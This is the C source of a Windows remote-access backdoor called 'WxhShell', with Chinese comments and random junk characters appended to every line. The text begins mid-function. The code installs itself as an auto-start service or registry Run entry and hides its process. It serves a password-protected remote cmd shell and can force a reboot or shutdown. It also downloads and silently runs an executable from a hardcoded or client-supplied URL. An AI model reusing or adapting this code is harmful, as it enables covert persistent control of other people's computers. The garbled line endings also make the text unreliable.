    closesocket(wsh); way-Q7  
    ExitThread(0); X_eV<]zA+  
    } |"Oazll  
    break; MPd#C*c  
    } g)iSC?H  
  // 获取shell !f\6=Z?>3  
  case 's': { DEC,oX!bI1  
    CmdShell(wsh); yMa5?]J  
    closesocket(wsh); 3?uP$(l  
    ExitThread(0); , 0rC_)&B  
    break; :+,qvu!M7  
  } %tzz3Y  
  // 退出 m,TqyP#  
  case 'x': { t(MlZ>H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0,;FiOp  
    CloseIt(wsh); jr:LLn#}  
    break; k\}qCDs  
    } .9g\WH#qD|  
  // 离开 c~|/,FZU'  
  case 'q': { hK$-R1O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y6?Q5x9M  
    closesocket(wsh); |T"{q  
    WSACleanup(); \ca4X{x  
    exit(1); E%-&!%_>D@  
    break; BWX&5""  
        } 6C/D&+4  
  } Z y7@"C  
  } d*,|?Ar*b  
VuZmX1x)N  
  // 提示信息 Ck.GN<#-^P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( |5g`JDG  
} q#Qr@Jf  
  } GW{Nc !)  
TniZ!ud  
  return; Rb~Kyy$  
} I|O~F e.  
N]yk<55  
// shell模块句柄 knBT(x'+  
int CmdShell(SOCKET sock) +V8yv-/{  
{ ;|/7o@$ n  
STARTUPINFO si; W#y)ukRv  
ZeroMemory(&si,sizeof(si)); dYV)lMJ*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :WCUHQ+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $@&bK2@.(  
PROCESS_INFORMATION ProcessInfo; ($W9 ?  
char cmdline[]="cmd"; ccm <rZ7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I( y Wct  
  return 0; ]-fZeyY$  
} Z gU;=.  
ypd  
// 自身启动模式 `g :<$3}  
int StartFromService(void) u%[*;@;9+  
{ jv|IV  
typedef struct kx UGd)S  
{ Da@tpKU)p  
  DWORD ExitStatus; H_8@J  
  DWORD PebBaseAddress; "a"[B'  
  DWORD AffinityMask; ld@f:Zali  
  DWORD BasePriority; _Wb-&6{  
  ULONG UniqueProcessId; v*BA\&  
  ULONG InheritedFromUniqueProcessId; S5Px9&N8(  
}   PROCESS_BASIC_INFORMATION; tc,7yo\".  
QX]tD4OH  
PROCNTQSIP NtQueryInformationProcess; (I~,&aBr  
m#;:%.Rm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MA-$aN_(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ga~vQ7I_  
Zz3#Kt5t3  
  HANDLE             hProcess; mifYk>J^9  
  PROCESS_BASIC_INFORMATION pbi; CWN=6(y  
Y+=@5+G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (wY% $kW4  
  if(NULL == hInst ) return 0; gCm?nb)  
Xs`:XATb/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ev guw*u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yauP j&^R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 462ae` 6l  
*r% mqAx(  
  if (!NtQueryInformationProcess) return 0; <s7{6n')  
g<dCUIbcQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +`4}bc ,G  
  if(!hProcess) return 0; b{dzbmak  
OVh/t# On  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uq+ _#{2(  
m5x>._7le  
  CloseHandle(hProcess); < NAR'{f  
BA>0 +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a "1$z`ln  
if(hProcess==NULL) return 0; s]&y\Z  
%!$-N!e  
HMODULE hMod; +|8Lt[^ux  
char procName[255]; E8dp  
unsigned long cbNeeded; 4*,q 1yK  
Sd\@Q% }o\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h1gb&?w5P  
&4%J35~  
  CloseHandle(hProcess); [qI*]  
jh?7+(Cw  
if(strstr(procName,"services")) return 1; // 以服务启动 Y}#^n7*w~  
.>nd@oU  
  return 0; // 注册表启动 $tKATL*  
} :cEe4a  
S BoF (0<  
// 主模块 ?^!dLW  
int StartWxhshell(LPSTR lpCmdLine) ~^C7(g )  
{ g`6wj|@ =W  
  SOCKET wsl; <Ztda !  
BOOL val=TRUE; eJA{]^Zf  
  int port=0; .5ycO  
  struct sockaddr_in door; *h%G4M  
,6bMf z  
  if(wscfg.ws_autoins) Install(); JS:lysu  
D7(t6C=FP  
port=atoi(lpCmdLine); xq)/QR  
_NZHrN  
if(port<=0) port=wscfg.ws_port; :58'U|  
]VH@\ f  
  WSADATA data; WuQYEbap  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8{l=`y"nB  
.0-m=3mp2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ykeUS zz2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iQIw]*h^  
  door.sin_family = AF_INET; `;qZ$HH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :&-}S>pC  
  door.sin_port = htons(port); :Ir:OD# o  
.:raeDrd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T ?? aVe]c  
closesocket(wsl); *;d)'7<  
return 1; <`*P/V  
} Z4-dF;7  
DmrfD28j~F  
  if(listen(wsl,2) == INVALID_SOCKET) { kC5,yj  
closesocket(wsl); n6Zx0ad?  
return 1; o5@ jMU;  
} /#=J`*m_  
  Wxhshell(wsl); A m1W<`  
  WSACleanup(); FlG^'UD  
kZ}u  
return 0; NKKO A  
?t42=nvf  
} $Ig,cTR.b  
S: uEK  
// 以NT服务方式启动 SkA'+(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XXcf!~uO  
{ EXcjF  
DWORD   status = 0; LD~'^+W  
  DWORD   specificError = 0xfffffff; ')-(N um  
EM/+1 _u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z{0;%E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l,L=VDEz,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sr+mY;   
  serviceStatus.dwWin32ExitCode     = 0; an`(?6d  
  serviceStatus.dwServiceSpecificExitCode = 0; PI \,`^)y  
  serviceStatus.dwCheckPoint       = 0; o#) !b:/  
  serviceStatus.dwWaitHint       = 0;  BZc-  
<'_GQM`G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lp)8SmN  
  if (hServiceStatusHandle==0) return; D*gV S  
jGhg~-m  
status = GetLastError(); Z^6(&Rh  
  if (status!=NO_ERROR) P$>kBW53  
{ walRqlo@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UeMe4$m  
    serviceStatus.dwCheckPoint       = 0; =hOa 0X=  
    serviceStatus.dwWaitHint       = 0; ZC*d^n]x.  
    serviceStatus.dwWin32ExitCode     = status; I<K/d  
    serviceStatus.dwServiceSpecificExitCode = specificError; `>EvT7u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 hadA>d  
    return; E}vO*ZZEw  
  } :fVMM7  
'f7 *RSKqb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ydqmuZ%2h#  
  serviceStatus.dwCheckPoint       = 0; ]q7 LoH'S  
  serviceStatus.dwWaitHint       = 0; Z*>/@J}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f$|v0Xs  
} $2CGRhC  
0_mvz%[J  
// 处理NT服务事件,比如:启动、停止 xt,L* B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~*c=  
{ %*q0+_  
switch(fdwControl) ?67I|@^  
{ DjzBG*f/  
case SERVICE_CONTROL_STOP: \g1@A"  
  serviceStatus.dwWin32ExitCode = 0; -b0'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "HfU,$[  
  serviceStatus.dwCheckPoint   = 0; L{A-0Ffh  
  serviceStatus.dwWaitHint     = 0; ]</4#?_  
  { +()t8,S,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @H%=%ZwpO  
  } WTYFtZD[yH  
  return; eu]iwOc&p  
case SERVICE_CONTROL_PAUSE: ' VEr4&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kz;_f  
  break; A=C3e4.C  
case SERVICE_CONTROL_CONTINUE: wy- C~b'Qd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qZsddll  
  break; ~)a ;59<$  
case SERVICE_CONTROL_INTERROGATE: 0s9z @>2  
  break; k)K-mD``U  
}; c_bVF 'Bz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q[OTaSQ~u^  
} mhLRi\[c )  
&f<1=2dm  
// 标准应用程序主函数 EN)A"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7$'mC9  
{ SKpPR;=q|:  
$dp#nyP  
// 获取操作系统版本 Wejwj/EU%  
OsIsNt=GetOsVer(); ERRT_G?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 53t- 'K0l  
8Cs$NUU  
  // 从命令行安装 0yC`9g)(  
  if(strpbrk(lpCmdLine,"iI")) Install(); !HjNx%o5<  
mHEf-6|C`  
  // 下载执行文件 nlebFDb7  
if(wscfg.ws_downexe) { (5q%0|RzRs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RYZE*lWUh  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]( =wlq)  
} 4JZHjf0M6  
 AMD?LjY~  
if(!OsIsNt) { ki~y@@3I  
// 如果时win9x,隐藏进程并且设置为注册表启动 \}x'>6zr2  
HideProc(); ff}a <w  
StartWxhshell(lpCmdLine); !UMo4}Y  
} fEw=I7{Y  
else ^'[@M'`~L  
  if(StartFromService()) ;\.JV '  
  // 以服务方式启动 $'knK<  
  StartServiceCtrlDispatcher(DispatchTable); x]R(twi  
else T6I%FXm}  
  // 普通方式启动 4,U}Am1Q  
  StartWxhshell(lpCmdLine); /Fo/_=FE2  
C. Ja;RFq  
return 0; J/x@$'  
} +:,`sdv6o  
rFq@ ]t3q  
N8XC~Dh{  
J,1osG<6x  
=========================================== }, fo+vRM  
u.kYp  
G?ugMl}  
JOdwv4(3V  
U$A7EFK'  
Q-`{PJ(p  
" D!RE-w92X  
(}C^_q:7d  
#include <stdio.h> $,;S\JmWP  
#include <string.h> '>e79f-O)  
#include <windows.h> P*SCHe'  
#include <winsock2.h> (H8C\%g:  
#include <winsvc.h> >nhE%:X>  
#include <urlmon.h> #$t}T@t>  
nQ642i%RQ  
#pragma comment (lib, "Ws2_32.lib") ``|gcG  
#pragma comment (lib, "urlmon.lib") o'eI(@{F=  
G;Wkm|  
#define MAX_USER   100 // 最大客户端连接数 7V=MRf&xQ  
#define BUF_SOCK   200 // sock buffer EDHg'q  
#define KEY_BUFF   255 // 输入 buffer F:;!) H*  
#H;hRl  
#define REBOOT     0   // 重启 W{A #]r l  
#define SHUTDOWN   1   // 关机 w<Yv`$-`  
e?!L}^f6X  
#define DEF_PORT   5000 // 监听端口 w#xeua|*I#  
7<3U?]0  
#define REG_LEN     16   // 注册表键长度 z+k=|RMau  
#define SVC_LEN     80   // NT服务名长度 ,!I?)hwOC  
p?V ?nCv1O  
// 从dll定义API 9fNu?dE   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ak6MPuBB-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +mc [S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M ?Ndy*]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >I4p9y(u  
`S\zqF<  
// wxhshell配置信息 .kc"E  
struct WSCFG { I7fb}j`/  
  int ws_port;         // 监听端口 *#1y6^  
  char ws_passstr[REG_LEN]; // 口令 fVDDYo2\  
  int ws_autoins;       // 安装标记, 1=yes 0=no %AG1oWWc>.  
  char ws_regname[REG_LEN]; // 注册表键名 #v4LoNm  
  char ws_svcname[REG_LEN]; // 服务名 R <;OEN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4mN].X[,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D0 /DI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dn ZzA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bo@,4xw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+N76BX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *;hY.EuoFz  
V#0 dGP-Z  
}; U@6jOZ  
MzQ\rg_B7  
// default Wxhshell configuration pb^,Qvnp   
struct WSCFG wscfg={DEF_PORT, \ ]   
    "xuhuanlingzhe", 4M}|/?<Br  
    1, +VCo$o  
    "Wxhshell", r{\BbUnf)  
    "Wxhshell", uf)W-Er6~  
            "WxhShell Service", J7BFk ?=  
    "Wrsky Windows CmdShell Service", -AjH}A[!  
    "Please Input Your Password: ", oW 1"%i%  
  1, ~x|aoozL  
  "http://www.wrsky.com/wxhshell.exe", VL+N: wb>  
  "Wxhshell.exe" 7tSJniB  
    }; /O|:{LQ  
)Hbb&F  
// 消息定义模块 {O^TurbTFA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i;o}o *=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I^~=,D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l|YT[LR7  
char *msg_ws_ext="\n\rExit."; $. %L  
char *msg_ws_end="\n\rQuit."; kE/`n],1U  
char *msg_ws_boot="\n\rReboot..."; q!6|lZB3  
char *msg_ws_poff="\n\rShutdown..."; &]P"48NT  
char *msg_ws_down="\n\rSave to "; nPcS3!7B#  
 i"vawxm  
char *msg_ws_err="\n\rErr!"; 9!9> ?Z  
char *msg_ws_ok="\n\rOK!"; yu)q4C7ek  
Q>.BQ;q]  
char ExeFile[MAX_PATH]; ^0^( u  
int nUser = 0; ,;_rIO"  
HANDLE handles[MAX_USER]; egm)a   
int OsIsNt; P|e`^Frxt  
/X4yB"J>  
SERVICE_STATUS       serviceStatus; zfhTc=(/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .K IVf8)"  
=/FF1jQ  
// 函数声明  gH %y  
int Install(void); w |_GV}#_  
int Uninstall(void); \6sqyWI %  
int DownloadFile(char *sURL, SOCKET wsh); zZ%DtxUoU.  
int Boot(int flag); b'i'GJBQ+$  
void HideProc(void); .~3kGf":  
int GetOsVer(void); CRFCqmevR  
int Wxhshell(SOCKET wsl); v "Me{+  
void TalkWithClient(void *cs); 6*IpAIh  
int CmdShell(SOCKET sock); 0n3D~Xzd  
int StartFromService(void); XCDSmZ  
int StartWxhshell(LPSTR lpCmdLine); 9tn;L"#&N  
#G_F`&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sw)i1S9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ncv7t|ZN  
!z"Nv1!~|  
// 数据结构和表定义 ?"6Ov ]  
SERVICE_TABLE_ENTRY DispatchTable[] = ueDvMP  
{ AUfS-  
{wscfg.ws_svcname, NTServiceMain}, #EbGL])F}  
{NULL, NULL} s5l3V2k  
}; Jf7frzw  
[*8Y'KX <  
// 自我安装 8tLHr@%%  
int Install(void) XS?gn.o\  
{ "PMQyzl  
  char svExeFile[MAX_PATH]; +t98 @  
  HKEY key; 0DNU,u  
  strcpy(svExeFile,ExeFile); #^6^  
-Ep!- a  
// 如果是win9x系统,修改注册表设为自启动 Z%}4bJ  
if(!OsIsNt) { B0d%c&N${  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G @g h#[b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jd 1jG2=f  
  RegCloseKey(key); %j7:tf=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k=[pm5ZvT~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fc@'9- pt  
  RegCloseKey(key); $X \va?(  
  return 0; ["y6b*;x  
    } #)s!}X^  
  } @w\I qr  
} 3e%nA8?  
else { wv?RO*E  
BcQEG *N  
// 如果是NT以上系统,安装为系统服务 E{4 e<%Y,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gbDX7r-  
if (schSCManager!=0) cWMUj K/N  
{ yto[8;)_  
  SC_HANDLE schService = CreateService [:h5}  
  ( ;HNq>/{  
  schSCManager, <8!  Tq  
  wscfg.ws_svcname, $7Z)Yp&T  
  wscfg.ws_svcdisp, 5.vG^T0w  
  SERVICE_ALL_ACCESS, `&!k!FZY*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T%$jWndI  
  SERVICE_AUTO_START, !^w E/  
  SERVICE_ERROR_NORMAL, x5h~G  
  svExeFile, $A2n{  
  NULL, &<3&'*ueW  
  NULL, ve Tx, \6@  
  NULL, !R'g59g  
  NULL, UMU2^$\iS  
  NULL :ofBzTNwZ  
  ); Zd!U')5/  
  if (schService!=0) OcmRZ  
  { *27*>W1  
  CloseServiceHandle(schService); ?Q0I'RC  
  CloseServiceHandle(schSCManager); tF7hFL5f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f>2MI4nMG  
  strcat(svExeFile,wscfg.ws_svcname); h!gk s-0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4;<ut$G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8`=v.   
  RegCloseKey(key); 7B7&9<gc  
  return 0; w(9*7pp  
    } ",yc0 2<  
  } `JB?c  
  CloseServiceHandle(schSCManager); q_V0+qH  
} PL X>-7@  
} =-"c*^$]  
NX[4PKJ0C  
return 1; /Fgw$ ^H  
} dOFD5}_   
.ubE2X[][  
// 自我卸载 kLj$@E`4  
int Uninstall(void) %<0eA`F4  
{ z//VlB  
  HKEY key; hI},~af  
c!#:E`  
if(!OsIsNt) { 5T@aCC@$h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?QZ"JX])  
  RegDeleteValue(key,wscfg.ws_regname); E&`Nh5JfC  
  RegCloseKey(key); 1oiRWRe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aNxAZMg  
  RegDeleteValue(key,wscfg.ws_regname); ]QVNn?PA8  
  RegCloseKey(key); U75Jp%bL  
  return 0; ]bZ(HC?KZr  
  } rHjq1-t  
} FAsFjRS  
} - VxDNT}Tr  
else { zFz10pH  
oGa^/:6L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hc^W%t~  
if (schSCManager!=0) tM4 Cx  
{ TX=yPq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T4)fOu3]  
  if (schService!=0) nUS| sh  
  { lf(`SYQnOY  
  if(DeleteService(schService)!=0) { !-<p,z  
  CloseServiceHandle(schService); _ :Ag?2  
  CloseServiceHandle(schSCManager); e:'?*BYVg3  
  return 0; ,:LA.o}h  
  } I,yC D7l_  
  CloseServiceHandle(schService); ]\ !5}L  
  } R :X0'zeRr  
  CloseServiceHandle(schSCManager); `h:34RC;  
} ":a\z(*t  
} U*3J+Y  
YNwp/Y  
return 1; km~Ll   
} br-]fE.be  
AN!s{7V3  
// 从指定url下载文件 jhu07HX_  
int DownloadFile(char *sURL, SOCKET wsh) N IdZ  
{ El\%E"Tk%  
  HRESULT hr; yAL[[  
char seps[]= "/"; GZI`jS"lU  
char *token; 'k;rH !R  
char *file; s\!>"J bAQ  
char myURL[MAX_PATH]; 3?2 FP|G8  
char myFILE[MAX_PATH]; oND@:>QBF  
`F<jLU^3  
strcpy(myURL,sURL); Guz"wY  
  token=strtok(myURL,seps); KlRr8 G!Z  
  while(token!=NULL) h/?l4iR*  
  { Gx`Lks  
    file=token; / 0 O=(  
  token=strtok(NULL,seps); '3zc|eJt&  
  } (hiyNMC  
<sK4#!K  
GetCurrentDirectory(MAX_PATH,myFILE); >leU:7  
strcat(myFILE, "\\"); 4=<tWa|@9  
strcat(myFILE, file); 1`ayc|9BR  
  send(wsh,myFILE,strlen(myFILE),0); q$I:`&  
send(wsh,"...",3,0); hn#1%p6t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q`-;AG|xF  
  if(hr==S_OK)  (x/k.&  
return 0; X 1 57$  
else dXF^(y]l  
return 1; p w8 s8?  
`tP7ncky  
} _S>JKz  
I(S`j[U  
// 系统电源模块 :VTTh |E%#  
int Boot(int flag) 'Ut7{rZ5  
{ hjZKUM G(k  
  HANDLE hToken; 'yMF~r3J  
  TOKEN_PRIVILEGES tkp; ggJO:$?$L  
*S2ypzwRZ,  
  if(OsIsNt) { [Xb@Wh:yG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ``wSc0\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s"t$0cH9  
    tkp.PrivilegeCount = 1; >=[(^l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  }Y;K~J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gNt(,_]ZR  
if(flag==REBOOT) { ZYC<Wb)I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]]zPq<b2  
  return 0; z^T`x_mF  
} IiG6<|d8H  
else { oYukLr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [VE8V-  
  return 0; /`mks1:pK  
} <J^MCqp!v  
  } %i5M77#Z  
  else { \otWd  
if(flag==REBOOT) { 8ji_#og  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y3fGWa*7e  
  return 0; U&?v:&c#&n  
} w@{=nD4p  
else { 'FDef#P<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x QIq^/F0  
  return 0; @)fd}tV  
} ouuuc9x]  
} J:Qa5MTWp  
Z'\h  
return 1; 8P|D13- Q  
} DAXX;4  
e J6$-r  
// win9x进程隐藏模块 =>_\fNy  
void HideProc(void) m6w].-D8  
{ p>4-s, W  
dw*_(ys  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XCBL}pNkR  
  if ( hKernel != NULL ) g"}%2~Urf  
  { cLLbZ=`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iv4H#rJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `hQ5VJo  
    FreeLibrary(hKernel); Fvbh\m ~  
  } 4rLL[??  
FY#C.mL  
return; |&zz,+E  
} 'h,VR=e<  
NA~Vg8  
// 获取操作系统版本 tP$<UKtU  
int GetOsVer(void) 9po3m]|zy  
{ . QBF`Rz  
  OSVERSIONINFO winfo; ivN&HAxI@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bcE._9@@  
  GetVersionEx(&winfo); .oeX"6K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oU.R2\Q  
  return 1; }f6HYU  
  else oYH^_V  
  return 0; ,Ge"anO  
} z?R|Ok  
!WQ-=0cm  
// 客户端句柄模块 -#N.X_F  
int Wxhshell(SOCKET wsl) VgZsB$Ori  
{ U_I5fK =  
  SOCKET wsh; ^f4s"T  
  struct sockaddr_in client; hYG6 pTCb  
  DWORD myID; <+?7H\b  
mc? Vq  
  while(nUser<MAX_USER) dtRwTUMe?  
{ paCV!tP  
  int nSize=sizeof(client); %z,m B$LY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rWR}Stc@]  
  if(wsh==INVALID_SOCKET) return 1; H[U!%Z  
3cK I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0tT(W^ho g  
if(handles[nUser]==0) :&V h?  
  closesocket(wsh); ?kbiMs1;u  
else c7x~{V8  
  nUser++; 4R1<nZ"e~  
  } vunHNHltW0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jtW!"TOY  
S.-TOE  
  return 0; '!!CeDy  
} ! |<Fo'U  
2fn&#kw/  
// 关闭 socket I 8`VNA&b  
void CloseIt(SOCKET wsh) 3z{?_;bR  
{ 1W^t aJH]  
closesocket(wsh); Krqtf  
nUser--; .6+Z^,3  
ExitThread(0); eg;~zv  
} Z`ID+  
5B3G @KR  
// 客户端请求句柄 \fz<.l]  
void TalkWithClient(void *cs) A$Hfr8w1u  
{ R{<kW9!  
Q ayPo]O  
  SOCKET wsh=(SOCKET)cs; jaII r06  
  char pwd[SVC_LEN]; _E@2ZnD2  
  char cmd[KEY_BUFF]; hKL4cpK4  
char chr[1]; f!Y?S  
int i,j; 5YE'L.  
DgId_\Ze  
  while (nUser < MAX_USER) { sBvzAVBL  
;- ~B)M_S`  
if(wscfg.ws_passstr) { tE<H|_{L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*K,}W&}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D#cyOrzy  
  //ZeroMemory(pwd,KEY_BUFF); RzE_K'M  
      i=0; saBVgSd  
  while(i<SVC_LEN) { ]%@M>?Ywc  
4i)1'{e  
  // 设置超时 %[Wh [zZy  
  fd_set FdRead; \XCe22x]  
  struct timeval TimeOut; EE&K0<?T|:  
  FD_ZERO(&FdRead); 1"MhGNynB>  
  FD_SET(wsh,&FdRead); [8 ]z|bM  
  TimeOut.tv_sec=8; @\0ez<.p}  
  TimeOut.tv_usec=0; bnf'4PAt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /?5 1D@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Vb.lH[av  
LDgrR[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); naG=Pq<  
  pwd=chr[0]; >E;uU[v)I  
  if(chr[0]==0xd || chr[0]==0xa) { \A 2r]  
  pwd=0; K[YI4pt7  
  break; kCWV r  
  } YxYH2*q@  
  i++; >JHryS.j$4  
    } j4gF;-m<  
N.,X<G.H  
  // 如果是非法用户,关闭 socket _{I3i:f9X8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +"\sc;6m.  
} P+@/O  
t<.)Z-Ii  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n{n52][J]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dk[!V1x4\  
yj 3cyLXw  
while(1) { 8]M;T>n[  
SYAyk  
  ZeroMemory(cmd,KEY_BUFF); V,lOt4b  
eenH0Ovv  
      // 自动支持客户端 telnet标准   7Wf/$vRab  
  j=0; 4[m`#  
  while(j<KEY_BUFF) { \ub7`01  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % L$bf#  
  cmd[j]=chr[0]; {f/~1G[M  
  if(chr[0]==0xa || chr[0]==0xd) { k+# %DK  
  cmd[j]=0; _C%3h5  
  break; Ta ZmRL  
  } !"?#6-,Xn  
  j++; '.IW.{;$  
    } #++lg{  
&FMc?wq  
  // 下载文件 QO<jI#  
  if(strstr(cmd,"http://")) { ` 06;   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l+xX/A)  
  if(DownloadFile(cmd,wsh)) jFQQ`O V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2V- 16Q'%  
  else Z3"%`*Tmq-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T,,WoPU8t  
  } nsu@h  
  else { Xb|:vr\v  
B]nEkO'a:  
    switch(cmd[0]) { Y071Y:  
   ~^NtO  
  // 帮助 6KXtcXQ  
  case '?': { /hr7NT{e%v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hQ,ch[j'  
